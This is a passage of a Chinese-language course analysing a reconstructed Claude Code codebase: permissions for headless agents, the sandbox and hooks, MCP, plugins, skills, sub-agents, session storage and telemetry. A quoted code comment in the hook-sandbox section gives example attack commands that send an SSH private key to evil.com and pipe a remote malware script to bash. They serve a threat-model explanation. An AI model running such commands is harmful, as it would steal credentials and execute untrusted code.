 1275    // checkPathSafetyForAutoEdit returns {type:'safetyCheck'} for these paths.
 1276    if (
 1277      toolPermissionResult?.behavior === 'ask' &&
 1278      toolPermissionResult.decisionReason?.type === 'safetyCheck'
 1279    ) {
 1280      return toolPermissionResult
 1281    }
为什么相信这条结论?查看 3 处证据
13
L1 · fact · claude-code-permission-002

无头与后台 Agent 默认不能弹窗,先给 hook/分类器机会再 fail closed

先看源码事实

无头权限请求会执行 PermissionRequest hooks;hook 无决定时回到自动拒绝。后台 bubble/coordinator worker 可先等待自动检查,swarm worker 还能把请求转给 leader,主线程才展示交互对话框。

翻译成白话

没人盯屏幕时不会卡在“请点允许”;可以让自动政策先裁决,裁决不了再拒绝或向上冒泡。

为什么这对自研重要

协作 Agent 的权限不是复制主线程 UI,而是独立的异步授权协议。

固定提交源码摘录
  392  /**
  393   * Runs PermissionRequest hooks for headless/async agents that cannot show
  394   * permission prompts. This gives hooks an opportunity to allow or deny
  395   * tool use before the fallback auto-deny kicks in.
  396   *
  397   * Returns a PermissionDecision if a hook made a decision, or null if no
  398   * hook provided a decision (caller should proceed to auto-deny).
  399   */
  400  async function runPermissionRequestHooksForHeadlessAgent(
  401    tool: Tool,
  402    input: { [key: string]: unknown },
  403    toolUseID: string,
  404    context: ToolUseContext,
  405    permissionMode: string | undefined,
  406    suggestions: PermissionUpdate[] | undefined,
  407  ): Promise<PermissionDecision | null> {
  408    try {
  409      for await (const hookResult of executePermissionRequestHooks(
  410        tool.name,
  411        toolUseID,
  412        input,
  413        context,
  414        permissionMode,
  415        suggestions as any,
  416        context.abortController.signal,
      … 43 lines omitted; exact range 392–470 …
  460        }
  461      }
  462    } catch (error) {
  463      // If hooks fail, fall through to auto-deny rather than crashing
  464      logError(
  465        new Error('PermissionRequest hook failed for headless agent', {
  466          cause: toError(error),
  467        }),
  468      )
  469    }
  470    return null
为什么相信这条结论?查看 3 处证据
14
L1 · limitation · claude-code-sandbox-001

有真实 OS sandbox 适配,但默认关闭且默认允许退回非沙箱命令

先看源码事实

适配层调用外部 @anthropic-ai/sandbox-runtime;sandbox.enabled 默认 false,allowUnsandboxedCommands 默认 true,只有 enabled+failIfUnavailable 才要求启动失败即失败。平台/依赖不满足时 isSandboxingEnabled 返回 false。

翻译成白话

确实能装防护罩,但开箱时罩子没扣上,而且政策默认允许个别命令绕开它。

为什么这对自研重要

可评为“具备可选强隔离能力”,不能评为“默认安全沙箱”;底层 seatbelt/bubblewrap 细节还依赖仓库外的包。

固定提交源码摘录
    1  /**
    2   * Adapter layer that wraps @anthropic-ai/sandbox-runtime with Claude CLI-specific integrations.
    3   * This file provides the bridge between the external sandbox-runtime package and Claude CLI's
    4   * settings system, tool integration, and additional features.
    5   */
    6  
    7  import type {
    8    FsReadRestrictionConfig,
    9    FsWriteRestrictionConfig,
   10    IgnoreViolationsConfig,
   11    NetworkHostPattern,
   12    NetworkRestrictionConfig,
   13    SandboxAskCallback,
   14    SandboxDependencyCheck,
   15    SandboxRuntimeConfig,
   16    SandboxViolationEvent,
   17  } from '@anthropic-ai/sandbox-runtime'
   18  import {
   19    SandboxManager as BaseSandboxManager,
   20    SandboxRuntimeConfigSchema,
   21    SandboxViolationStore,
   22  } from '@anthropic-ai/sandbox-runtime'
为什么相信这条结论?查看 3 处证据
15
L1 · risk · claude-code-sandbox-002

hook 只做网络沙箱,包装失败时会继续无沙箱执行

先看源码事实

shell hook 在 sandbox 开启时配置 deny-all outbound,但给予全文件系统写权限;wrap 失败会记录 warning 并运行原命令。Bash 的 excludedCommands 也被源码明确标注为便利功能而非安全边界。

翻译成白话

hook 能被断网,但仍可改本机文件;连断网罩都戴不上时,为兼容旧行为会直接执行。

为什么这对自研重要

企业场景应把 hook fail-open 改为策略可控的 fail-closed,并把项目 hook 来源信任与动作权限分开。

固定提交源码摘录
 1041    // SECURITY: Apply network-only sandbox to hook commands when sandboxing is enabled.
 1042    // Hooks execute arbitrary shell commands from settings.json without going
 1043    // through the Bash tool's permission prompt. Unlike the full Bash sandbox,
 1044    // hooks only get network restrictions (not filesystem restrictions) because:
 1045    //   - Legitimate hooks (formatters, linters, type checkers) need full
 1046    //     filesystem access to read/write project files
 1047    //   - The core threat from malicious hooks is data exfiltration (e.g.
 1048    //     `curl http://evil.com?key=$(cat ~/.ssh/id_rsa)`) and payload download
 1049    //     (e.g. `wget http://evil.com/malware.sh | bash`)
 1050    //   - Hooks that genuinely need network (notifications) should use the
 1051    //     `http` hook type, which is not affected by this sandbox
 1052    let sandboxedCommand = finalCommand
 1053    if (!isPowerShell && SandboxManager.isSandboxingEnabled()) {
 1054      try {
 1055        sandboxedCommand = await SandboxManager.wrapWithSandbox(
 1056          finalCommand,
 1057          undefined, // use default shell
 1058          {
 1059            // Network: deny all outbound by default. Hooks that need network
 1060            // should use the `http` hook type instead of shell commands.
 1061            network: {
 1062              allowedDomains: [],
 1063              deniedDomains: [],
 1064            },
 1065            // Filesystem: no additional restrictions beyond sandbox defaults.
      … 12 lines omitted; exact range 1041–1088 …
 1078          { level: 'verbose' },
 1079        )
 1080      } catch (sandboxError) {
 1081        // If sandbox wrapping fails, log and continue without sandbox.
 1082        // This preserves backwards compatibility — hooks that ran before
 1083        // sandbox support was added will still work.
 1084        logForDebugging(
 1085          `Failed to sandbox hook command, running unsandboxed: ${errorMessage(sandboxError)}`,
 1086          { level: 'warn' },
 1087        )
 1088      }
为什么相信这条结论?查看 3 处证据
小练习 6

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M07 · ECOSYSTEM

指令、MCP、Skills 与插件:能力如何接进来

一条系统指令、一个 Skill、一个 MCP server 和一个插件,分别在什么时候进入上下文和执行路径?

先用一个生活比喻

这像给工作室接设备:说明书不是设备,设备也不等于电源;成熟 Harness 会分别治理发现、信任、加载、调用和卸载。

这套实现先回答了什么?

它不是只会启动本地 MCP 子进程,也能连长连接、HTTP、WebSocket 和平台代理;线断了会丢掉旧工具清单重新握手。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
MCP 是完整连接层:stdio、SSE、Streamable HTTP、WebSocket 和 claude.ai proxysrc/services/mcp/client.ts:596它不是只会启动本地 MCP 子进程,也能连长连接、HTTP、WebSocket 和平台代理;线断了会丢掉旧工具清单重新握手。
MCP 具备描述限长、请求超时与企业 allow/deny 管理src/services/mcp/client.ts:210连接握手不会无限等,过长的工具说明不会把上下文吃光;但真正工具执行默认几乎不设上限,长任务友好、失控任务风险也更大。
项目指令与环境快照分层注入,并在会话内缓存src/context.ts:36一份是团队写给 Agent 的长期说明书,另一份是开工那一刻的工地快照;后者明确不会自动更新。
插件是复合扩展包,不只是 prompt 文件src/utils/plugins/pluginLoader.ts:1一个插件能同时带命令、技能、子 Agent 和钩子,接近应用包而不是单张提示词。
16
L1 · fact · claude-code-mcp-001

MCP 是完整连接层:stdio、SSE、Streamable HTTP、WebSocket 和 claude.ai proxy

先看源码事实

client 根据 server type 构造不同 transport,支持 OAuth/static/session ingress header、代理、IDE 通道和进程内 server;连接有超时,断线会清连接及工具/资源缓存以便重连。

翻译成白话

它不是只会启动本地 MCP 子进程,也能连长连接、HTTP、WebSocket 和平台代理;线断了会丢掉旧工具清单重新握手。

为什么这对自研重要

连接器成熟度高,但 transport 分支很多,安全策略和生命周期测试成本显著。

固定提交源码摘录
  596  export const connectToServer = memoize(
  597    async (
  598      name: string,
  599      serverRef: ScopedMcpServerConfig,
  600      serverStats?: {
  601        totalServers: number
  602        stdioCount: number
  603        sseCount: number
  604        httpCount: number
  605        sseIdeCount: number
  606        wsIdeCount: number
  607      },
  608    ): Promise<MCPServerConnection> => {
  609      const connectStartTime = Date.now()
  610      let inProcessServer:
  611        | { connect(t: Transport): Promise<void>; close(): Promise<void> }
  612        | undefined
  613      try {
  614        let transport
  615  
  616        // If we have the session ingress JWT, we will connect via the session ingress rather than
  617        // to remote MCP's directly.
  618        const sessionIngressToken = getSessionIngressAuthToken()
  619  
  620        if (serverRef.type === 'sse') {
      … 47 lines omitted; exact range 596–678 …
  668                  Accept: 'text/event-stream',
  669                },
  670              })
  671            },
  672          }
  673  
  674          transport = new SSEClientTransport(
  675            new URL(serverRef.url),
  676            transportOptions,
  677          )
  678          logMCPDebug(name, `SSE transport initialized, awaiting connection`)
为什么相信这条结论?查看 3 处证据
17
L1 · fact · claude-code-mcp-002

MCP 具备描述限长、请求超时与企业 allow/deny 管理

先看源码事实

工具描述和 server instructions 有长度上限;普通 POST 请求 60 秒超时,但工具调用默认约 27.8 小时且可由环境变量覆盖;配置层合并 plugin/connectors,并应用企业 allowlist/denylist。

翻译成白话

连接握手不会无限等,过长的工具说明不会把上下文吃光;但真正工具执行默认几乎不设上限,长任务友好、失控任务风险也更大。

为什么这对自研重要

自研 Harness 应把 connect/request/tool 三类 timeout 分开,并给 MCP 执行建立组织级上限与取消链。

固定提交源码摘录
  210   * Default timeout for MCP tool calls (effectively infinite - ~27.8 hours).
  211   */
  212  const DEFAULT_MCP_TOOL_TIMEOUT_MS = 100_000_000
  213  
  214  /**
  215   * Cap on MCP tool descriptions and server instructions sent to the model.
  216   * OpenAPI-generated MCP servers have been observed dumping 15-60KB of endpoint
  217   * docs into tool.description; this caps the p95 tail without losing the intent.
  218   */
  219  const MAX_MCP_DESCRIPTION_LENGTH = PKG_MAX_MCP_DESCRIPTION_LENGTH
  220  
  221  /**
  222   * Gets the timeout for MCP tool calls in milliseconds.
  223   * Uses MCP_TOOL_TIMEOUT environment variable if set, otherwise defaults to ~27.8 hours.
  224   */
  225  function getMcpToolTimeoutMs(): number {
  226    return (
  227      parseInt(process.env.MCP_TOOL_TIMEOUT || '', 10) ||
  228      DEFAULT_MCP_TOOL_TIMEOUT_MS
  229    )
为什么相信这条结论?查看 4 处证据
18
L1 · fact · claude-code-instructions-001

项目指令与环境快照分层注入,并在会话内缓存

先看源码事实

getUserContext 从层级 memory files 组装 CLAUDE.md,可通过 bare/环境变量禁用;getSystemContext 并行采集 git branch/status/log/user 并截断状态,二者 memoize 为会话上下文。

翻译成白话

一份是团队写给 Agent 的长期说明书,另一份是开工那一刻的工地快照;后者明确不会自动更新。

为什么这对自研重要

prompt cache 稳定,但会话中的 git status 会变旧,模型需要在关键操作前主动重新查询。

固定提交源码摘录
   36  export const getGitStatus = memoize(async (): Promise<string | null> => {
   37    if (process.env.NODE_ENV === 'test') {
   38      // Avoid cycles in tests
   39      return null
   40    }
   41  
   42    const startTime = Date.now()
   43    logForDiagnosticsNoPII('info', 'git_status_started')
   44  
   45    const isGitStart = Date.now()
   46    const isGit = await getIsGit()
   47    logForDiagnosticsNoPII('info', 'git_is_git_check_completed', {
   48      duration_ms: Date.now() - isGitStart,
   49      is_git: isGit,
   50    })
   51  
   52    if (!isGit) {
   53      logForDiagnosticsNoPII('info', 'git_status_skipped_not_git', {
   54        duration_ms: Date.now() - startTime,
   55      })
   56      return null
   57    }
   58  
   59    try {
   60      const gitCmdsStart = Date.now()
      … 40 lines omitted; exact range 36–111 …
  101        `Status:\n${truncatedStatus || '(clean)'}`,
  102        `Recent commits:\n${log}`,
  103      ].join('\n\n')
  104    } catch (error) {
  105      logForDiagnosticsNoPII('error', 'git_status_failed', {
  106        duration_ms: Date.now() - startTime,
  107      })
  108      logError(error)
  109      return null
  110    }
  111  })
为什么相信这条结论?查看 3 处证据
19
L1 · fact · claude-code-plugin-001

插件是复合扩展包,不只是 prompt 文件

先看源码事实

plugin loader 支持 marketplace/git/npm 缓存、manifest schema 和路径 containment,并从 commands、agents、skills、output styles、hooks 等目录装载组件;缺 manifest 时还能创建最小 manifest。

翻译成白话

一个插件能同时带命令、技能、子 Agent 和钩子,接近应用包而不是单张提示词。

为什么这对自研重要

扩展能力强,也扩大供应链与任意代码执行面;必须把来源、版本、签名/审批和 hooks 权限纳入治理。

固定提交源码摘录
    1  /**
    2   * Plugin Loader Module
    3   *
    4   * This module is responsible for discovering, loading, and validating Claude Code plugins
    5   * from various sources including marketplaces and git repositories.
    6   *
    7   * NPM packages are also supported but must be referenced through marketplaces - the marketplace
    8   * entry contains the NPM package information.
    9   *
   10   * Plugin Discovery Sources (in order of precedence):
   11   * 1. Marketplace-based plugins (plugin@marketplace format in settings)
   12   * 2. Session-only plugins (from --plugin-dir CLI flag or SDK plugins option)
   13   *
   14   * Plugin Directory Structure:
   15   * ```
   16   * my-plugin/
   17   * ├── plugin.json          # Optional manifest with metadata
   18   * ├── commands/            # Custom slash commands
   19   * │   ├── build.md
   20   * │   └── deploy.md
   21   * ├── agents/              # Custom AI agents
   22   * │   └── test-runner.md
   23   * └── hooks/               # Hook configurations
   24   *     └── hooks.json       # Hook definitions
   25   * ```
   26   *
   27   * The loader handles:
   28   * - Plugin manifest validation
   29   * - Hooks configuration loading and variable resolution
为什么相信这条结论?查看 3 处证据
20
L1 · fact · claude-code-skill-001

Skill 采用元数据先行、内容按需装载,并支持路径条件激活

先看源码事实

skill loader 只用 name/description/whenToUse 估算前置 token;完整内容在调用时读取,运行中还能扫描新目录,按 paths frontmatter 匹配触及文件后激活条件 skill。

翻译成白话

模型先看技能目录卡片,真正要用时才翻整本手册;碰到特定文件类型还能自动把相关手册加入工具箱。

为什么这对自研重要

降低常驻 prompt 成本,但动态注册必须维持工具定义排序和缓存稳定。

固定提交源码摘录
   78  export function getSkillsPath(
   79    source: SettingSource | 'plugin',
   80    dir: 'skills' | 'commands',
   81  ): string {
   82    switch (source) {
   83      case 'policySettings':
   84        return join(getManagedFilePath(), '.claude', dir)
   85      case 'userSettings':
   86        return join(getClaudeConfigHomeDir(), dir)
   87      case 'projectSettings':
   88        return `.claude/${dir}`
   89      case 'plugin':
   90        return 'plugin'
   91      default:
   92        return ''
   93    }
   94  }
   95  
   96  /**
   97   * Estimates token count for a skill based on frontmatter only
   98   * (name, description, whenToUse) since full content is only loaded on invocation.
   99   */
  100  export function estimateSkillFrontmatterTokens(skill: Command): number {
  101    const frontmatterText = [skill.name, skill.description, skill.whenToUse]
  102      .filter(Boolean)
  103      .join(' ')
  104    return roughTokenCountEstimation(frontmatterText)
  105  }
  106  
  107  /**
  108   * Gets a unique identifier for a file by resolving symlinks to a canonical path.
为什么相信这条结论?查看 3 处证据
小练习 7

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M08 · COLLABORATION

子 Agent:把一个大任务拆成可治理的协作

什么时候是普通工具调用,什么时候才算子 Agent?子 Agent 的上下文、预算、取消和结果怎样回到父 Agent?

先用一个生活比喻

不是把同事叫来聊天就叫协作;真正的协作要有工单、权限、截止时间、交付物和回收机制。

这套实现先回答了什么?

它不是把任务文本塞给同一个聊天窗口,而是给工人发单独的工具箱、说明书、权限卡和工作日志。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
子 Agent 是独立 query 运行时,可定制模型、工具、权限、MCP、hooks、skills、memory 和 isolationpackages/builtin-tools/src/tools/AgentTool/loadAgentsDir.ts:58它不是把任务文本塞给同一个聊天窗口,而是给工人发单独的工具箱、说明书、权限卡和工作日志。
同步、异步、fork 与 worktree 是四个可组合的协作语义packages/builtin-tools/src/tools/AgentTool/forkSubagent.ts:18工人可以当场等结果,也能后台继续;可以只拿任务卡,也能复制父会话全部记忆;改代码时还能分配独立工位。
子 Agent 有 sidechain 持久化、可恢复元数据和严格资源清理packages/builtin-tools/src/tools/AgentTool/runAgent.ts:741后台工人有自己的工作日志,重启后能知道它是谁、在哪个工位;收工时也会回收插座、进程和临时账本。
21
L1 · fact · claude-code-agent-001

子 Agent 是独立 query 运行时,可定制模型、工具、权限、MCP、hooks、skills、memory 和 isolation

先看源码事实

Agent 定义 schema 包含 tools/disallowedTools、model/effort、permissionMode、mcpServers、hooks、maxTurns、skills、memory、background、worktree isolation;runAgent 为其构造独立系统提示、工具池、权限视图、MCP client 和 transcript。

翻译成白话

它不是把任务文本塞给同一个聊天窗口,而是给工人发单独的工具箱、说明书、权限卡和工作日志。

为什么这对自研重要

这是实质多 Agent Harness;复杂性主要在权限继承、资源清理、缓存和恢复,而非“能不能再调一次模型”。

固定提交源码摘录
   58  export type AgentMcpServerSpec =
   59    | string // Reference to existing server by name (e.g., "slack")
   60    | { [name: string]: McpServerConfig } // Inline definition as { name: config }
   61  
   62  // Zod schema for agent MCP server specs
   63  const AgentMcpServerSpecSchema = lazySchema(() =>
   64    z.union([
   65      z.string(), // Reference by name
   66      z.record(z.string(), McpServerConfigSchema()), // Inline as { name: config }
   67    ]),
   68  )
   69  
   70  // Zod schemas for JSON agent validation
   71  // Note: HooksSchema is lazy so the circular chain AppState -> loadAgentsDir -> settings/types
   72  // is broken at module load time
   73  const AgentJsonSchema = lazySchema(() =>
   74    z.object({
   75      description: z.string().min(1, 'Description cannot be empty'),
   76      tools: z.array(z.string()).optional(),
   77      disallowedTools: z.array(z.string()).optional(),
   78      prompt: z.string().min(1, 'Prompt cannot be empty'),
   79      model: z
   80        .string()
   81        .trim()
   82        .min(1, 'Model cannot be empty')
      … 39 lines omitted; exact range 58–132 …
  122    requiredMcpServers?: string[] // MCP server name patterns that must be configured for agent to be available
  123    background?: boolean // Always run as background task when spawned
  124    initialPrompt?: string // Prepended to the first user turn (slash commands work)
  125    memory?: AgentMemoryScope // Persistent memory scope
  126    isolation?: 'worktree' | 'remote' // Run in an isolated git worktree, or remotely in CCR (ant-only)
  127    pendingSnapshotUpdate?: { snapshotTimestamp: string }
  128    /** Omit CLAUDE.md hierarchy from the agent's userContext. Read-only agents
  129     * (Explore, Plan) don't need commit/PR/lint guidelines — the main agent has
  130     * full CLAUDE.md and interprets their output. Saves ~5-15 Gtok/week across
  131     * 34M+ Explore spawns. Kill-switch: tengu_slim_subagent_claudemd. */
  132    omitClaudeMd?: boolean
为什么相信这条结论?查看 3 处证据
22
L1 · fact · claude-code-agent-002

同步、异步、fork 与 worktree 是四个可组合的协作语义

先看源码事实

后台 Agent 使用不链接父 ESC 的 AbortController 并返回 async_launched;fork 可继承完整父消息、精确 system prompt 和工具定义以共享 prompt cache;worktree isolation 创建独立工作副本,无改动时清理、有改动时保留。

翻译成白话

工人可以当场等结果,也能后台继续;可以只拿任务卡,也能复制父会话全部记忆;改代码时还能分配独立工位。

为什么这对自研重要

协作吞吐与上下文复用领先,但 worktree 只是文件工作区隔离,不等于进程/网络安全沙箱。

固定提交源码摘录
   18  /**
   19   * Fork subagent feature gate.
   20   *
   21   * When enabled:
   22   * - `subagent_type` becomes optional on the Agent tool schema
   23   * - Omitting `subagent_type` triggers an implicit fork: the child inherits
   24   *   the parent's full conversation context and system prompt
   25   * - All agent spawns run in the background (async) for a unified
   26   *   `<task-notification>` interaction model
   27   * - `/fork <directive>` slash command is available
   28   *
   29   * Mutually exclusive with coordinator mode — coordinator already owns the
   30   * orchestration role and has its own delegation model.
   31   */
   32  export function isForkSubagentEnabled(): boolean {
   33    if (feature('FORK_SUBAGENT')) {
   34      if (isCoordinatorMode()) return false
   35      if (getIsNonInteractiveSession()) return false
   36      return true
   37    }
   38    return false
   39  }
   40  
   41  /** Synthetic agent type name used for analytics when the fork path fires. */
   42  export const FORK_SUBAGENT_TYPE = 'fork'
      … 18 lines omitted; exact range 18–71 …
   61    agentType: FORK_SUBAGENT_TYPE,
   62    whenToUse:
   63      'Implicit fork — inherits full conversation context. Not selectable via subagent_type; triggered by omitting subagent_type when the fork experiment is active.',
   64    tools: ['*'],
   65    maxTurns: 200,
   66    model: 'inherit',
   67    permissionMode: 'bubble',
   68    source: 'built-in',
   69    baseDir: 'built-in',
   70    getSystemPrompt: () => '',
   71  } satisfies BuiltInAgentDefinition
为什么相信这条结论?查看 4 处证据
23
L1 · fact · claude-code-agent-003

子 Agent 有 sidechain 持久化、可恢复元数据和严格资源清理

先看源码事实

runAgent 将初始/新增消息写入独立 sidechain JSONL,并记录 agentType、worktreePath、description;finally 结束 Langfuse trace,关闭 agent MCP、hooks、缓存、文件状态、todo、shell/monitor tasks。

翻译成白话

后台工人有自己的工作日志,重启后能知道它是谁、在哪个工位;收工时也会回收插座、进程和临时账本。

为什么这对自研重要

生命周期工程较完整,适合长会话和大量 worker;清理路径任何漏项都可能成为进程或内存泄漏。

固定提交源码摘录
  741    // Record initial messages before the query loop starts, plus the agentType
  742    // so resume can route correctly when subagent_type is omitted. Both writes
  743    // are fire-and-forget — persistence failure shouldn't block the agent.
  744    void recordSidechainTranscript(initialMessages, agentId).catch(_err =>
  745      logForDebugging(`Failed to record sidechain transcript: ${_err}`),
  746    )
  747    void writeAgentMetadata(agentId, {
  748      agentType: agentDefinition.agentType,
  749      ...(worktreePath && { worktreePath }),
  750      ...(description && { description }),
  751    }).catch(_err => logForDebugging(`Failed to write agent metadata: ${_err}`))
  752  
  753    // Track the last recorded message UUID for parent chain continuity
  754    let lastRecordedUuid: UUID | null = initialMessages.at(-1)?.uuid ?? null
  755  
  756    // Create Langfuse sub-agent trace (no-op if not configured).
  757    // Sub-agent trace shares the same sessionId as the parent, so Langfuse
  758    // groups them under the same Session view.
  759    const subTrace = isLangfuseEnabled()
  760      ? createSubagentTrace({
  761          sessionId: getSessionId(),
  762          agentType: agentDefinition.agentType,
  763          agentId,
  764          model: resolvedAgentModel,
  765          provider: getAPIProvider(),
  766          input: initialMessages,
  767        })
  768      : null
  769  
  770    // Attach sub-agent trace to toolUseContext so query() reuses it
  771    if (subTrace) {
  772      agentToolUseContext.langfuseTrace = subTrace
  773    }
为什么相信这条结论?查看 3 处证据
小练习 8

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M09 · STATE

会话、持久化与观测:让一次运行变成可追溯事实

如果进程崩了、用户刷新了、任务跑了一夜,系统凭什么恢复并解释“刚才究竟发生了什么”?

先用一个生活比喻

内存像白板,数据库像目录,append-only journal 像监控录像;可靠 Harness 不只保存最后答案,还保存每次转弯。

这套实现先回答了什么?

日志更像带分叉的版本树:可以从某个节点继续、压缩或恢复文件快照,不只是从头到尾的一串气泡。

本节阅读法先问问题读事实看代码做迁移判断
源码问题固定提交给出的线索白话结论
会话是 append-only JSONL 树,而不是简单聊天数组src/utils/sessionStorage.ts:130日志更像带分叉的版本树:可以从某个节点继续、压缩或恢复文件快照,不只是从头到尾的一串气泡。
开源复原代码中仍有可用 OTEL/Perfetto/Langfuse,但内部 analytics 不可等同src/utils/telemetry/instrumentation.ts:1标准观测管道是真代码,可以接企业采集;原厂内部埋点名字很多,但这个仓库里的后端并不完整。
24
L1 · fact · claude-code-session-001

会话是 append-only JSONL 树,而不是简单聊天数组

先看源码事实

主会话与每个 agent 各有 JSONL;消息用 parentUuid 建链,compact boundary、file history、attribution、mode、content replacement 等都作为条目追加;resume 会修复旧 progress fork、snip gap 和孤儿并行 tool result。

翻译成白话

日志更像带分叉的版本树:可以从某个节点继续、压缩或恢复文件快照,不只是从头到尾的一串气泡。

为什么这对自研重要

可恢复性很强,但 parentUuid 一致性是核心不变量,代码中大量修复逻辑也说明这里是高风险复杂区。

固定提交源码摘录
  130   * Type guard to check if an entry is a transcript message.
  131   * Transcript messages include user, assistant, attachment, and system messages.
  132   * IMPORTANT: This is the single source of truth for what constitutes a transcript message.
  133   * loadTranscriptFile() uses this to determine which messages to load into the chain.
  134   *
  135   * Progress messages are NOT transcript messages. They are ephemeral UI state
  136   * and must not be persisted to the JSONL or participate in the parentUuid
  137   * chain. Including them caused chain forks that orphaned real conversation
  138   * messages on resume (see #14373, #23537).
  139   */
  140  export function isTranscriptMessage(entry: Entry): entry is TranscriptMessage {
  141    return (
  142      entry.type === 'user' ||
  143      entry.type === 'assistant' ||
  144      entry.type === 'attachment' ||
  145      entry.type === 'system'
  146    )
  147  }
  148  
  149  /**
  150   * Entries that participate in the parentUuid chain. Used on the write path
  151   * (insertMessageChain, useLogMessages) to skip progress when assigning
  152   * parentUuid. Old transcripts with progress already in the chain are handled
  153   * by the progressBridge rewrite in loadTranscriptFile.
  154   */
      … 3 lines omitted; exact range 130–168 …
  158  
  159  type LegacyProgressEntry = {
  160    type: 'progress'
  161    uuid: UUID
  162    parentUuid: UUID | null
  163  }
  164  
  165  /**
  166   * Progress entries in transcripts written before PR #24099. They are not
  167   * in the Entry type union anymore but still exist on disk with uuid and
  168   * parentUuid fields. loadTranscriptFile bridges the chain across them.
为什么相信这条结论?查看 4 处证据
25
L1 · fact · claude-code-observability-001

开源复原代码中仍有可用 OTEL/Perfetto/Langfuse,但内部 analytics 不可等同

先看源码事实

instrumentation 支持 metrics/logs/traces 的 console、OTLP grpc/http、Prometheus 等 exporter;Agent 层注册 Perfetto 层级并可创建 Langfuse subtrace。与此同时仓库自述 Analytics/GrowthBook/Sentry 为 empty implementations。

翻译成白话

标准观测管道是真代码,可以接企业采集;原厂内部埋点名字很多,但这个仓库里的后端并不完整。

为什么这对自研重要

评价时应把开放标准观测与不可用的内部遥测分开,不能因大量 logEvent 调用就认定原厂分析链已复现。

固定提交源码摘录
    1  import { DiagLogLevel, diag, trace } from '@opentelemetry/api'
    2  import { logs } from '@opentelemetry/api-logs'
    3  // OTLP/Prometheus exporters are dynamically imported inside the protocol
    4  // switch statements below. A process uses at most one protocol variant per
    5  // signal, but static imports would load all 6 (~1.2MB) on every startup.
    6  import {
    7    envDetector,
    8    hostDetector,
    9    osDetector,
   10    resourceFromAttributes,
   11  } from '@opentelemetry/resources'
   12  import {
   13    BatchLogRecordProcessor,
   14    ConsoleLogRecordExporter,
   15    LoggerProvider,
   16  } from '@opentelemetry/sdk-logs'
   17  import {
   18    ConsoleMetricExporter,
   19    MeterProvider,
   20    PeriodicExportingMetricReader,
   21  } from '@opentelemetry/sdk-metrics'
   22  import {
   23    BasicTracerProvider,
   24    BatchSpanProcessor,
   25    ConsoleSpanExporter,
      … 35 lines omitted; exact range 1–71 …
   61  import { BigQueryMetricsExporter } from './bigqueryExporter.js'
   62  import { ClaudeCodeDiagLogger } from './logger.js'
   63  import { initializePerfettoTracing } from './perfettoTracing.js'
   64  import {
   65    endInteractionSpan,
   66    isEnhancedTelemetryEnabled,
   67  } from './sessionTracing.js'
   68  
   69  const DEFAULT_METRICS_EXPORT_INTERVAL_MS = 60000
   70  const DEFAULT_LOGS_EXPORT_INTERVAL_MS = 5000
   71  const DEFAULT_TRACES_EXPORT_INTERVAL_MS = 5000
为什么相信这条结论?查看 5 处证据
小练习 9

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M10 · ENGINEERING

测试、恢复与工程取舍:把漂亮机制变成可靠产品

哪些行为有测试证明?哪些只是配置或 prompt 约定?当安全、性能、可恢复性冲突时,源码选择了什么?

先用一个生活比喻

这像验收一座桥:图纸说明结构,测试证明承重,故障演练证明断电后还能不能让人安全回来。

本节阅读法先问问题读事实看代码做迁移判断
读源码时先问本课的判断方式
这一层有没有独立证据?没有就不把其他层的能力冒充成默认行为;回到固定提交继续追调用链。
谁拥有最终控制权?区分模型输出、框架规则、用户审批和 OS 隔离四种不同力量。
这一章先建立通用概念

固定提交账本没有把该维度单独拆出,但它会在其他章节的源码路径中体现。先沿执行链路阅读,再回到报告页核对证据。

小练习 10

打开本节任意一个源码摘录,先遮住白话解释,只根据函数名、状态字段和调用顺序猜它解决什么问题;再展开证据列表,检查你的猜测有没有越过源码边界。

M11 · PRACTICE

把读懂变成会判断

下面的练习不要求你先写一个完整 Agent,而是训练你检查设计边界:事实是什么、推断是什么、如果换成自研产品要补哪一层。

Q1

这是反编译/复原仓库,不是 Anthropic 官方 Claude Code 源码

问题:如果把这段机制移植到你的 Agent,最先要确认哪个输入、状态或安全边界?

参考答案

报告可评价这个固定提交的实现,但任何对官方产品内部机制的映射都必须标注为推断。

证据:AGENTS.md:1
Q2

主 Harness 是一个持续循环的消息变换与工具执行流水线

问题:如果把这段机制移植到你的 Agent,最先要确认哪个输入、状态或安全边界?

参考答案

上下文、工具、权限和恢复都在同一编排循环交汇,修改其中任何一步都可能影响缓存与 transcript 一致性。

证据:src/query.ts:460
Q3

工具可以随流式响应提前启动,并补齐协议不完整的 tool result

问题:如果把这段机制移植到你的 Agent,最先要确认哪个输入、状态或安全边界?

参考答案

降低工具启动延迟并提高恢复性,但要求工具调用去重、取消和消息顺序非常严谨。

证据:src/query.ts:971
Q4

共享预处理之后按 Provider 分流,Anthropic 仍是最深的主路径

问题:如果把这段机制移植到你的 Agent,最先要确认哪个输入、状态或安全边界?

参考答案

多模型可用性强,但新增兼容层不自动获得 Anthropic 路径全部语义,必须独立做工具与 usage 回归。

证据:src/services/api/claude.ts:1282
Q5

流式异常可退回非流式请求,且为 fallback 设置独立超时

问题:如果把这段机制移植到你的 Agent,最先要确认哪个输入、状态或安全边界?

参考答案

交互韧性较高;但若工具已经由流式路径提前启动,重复请求可能产生双执行风险,所以代码也提供禁用该 fallback 的门。

证据:src/services/api/claude.ts:818
APPENDIX · SOURCE INDEX

本课读过的实现文件

文件索引帮助你在课程外继续追踪调用链;每一条路径来自固定提交的证据账本。

  1. 01AGENTS.mdL1–8, L252–264, L252–264, L5–8
  2. 02src/query.tsL460–666, L668–882, L1557–1803, L971–1124, L1158–1245, L1352–1450
  3. 03src/services/api/claude.tsL1321–1325, L1282–1338, L1340–1381, L1635–1640, L818–925, L2418–2465, L2583–2667, L1210–1235, L1258–1277, L1388–1415
  4. 04src/services/compact/snipCompact.tsL60–147
  5. 05src/services/compact/microCompact.tsL38–50, L257–307, L309–402
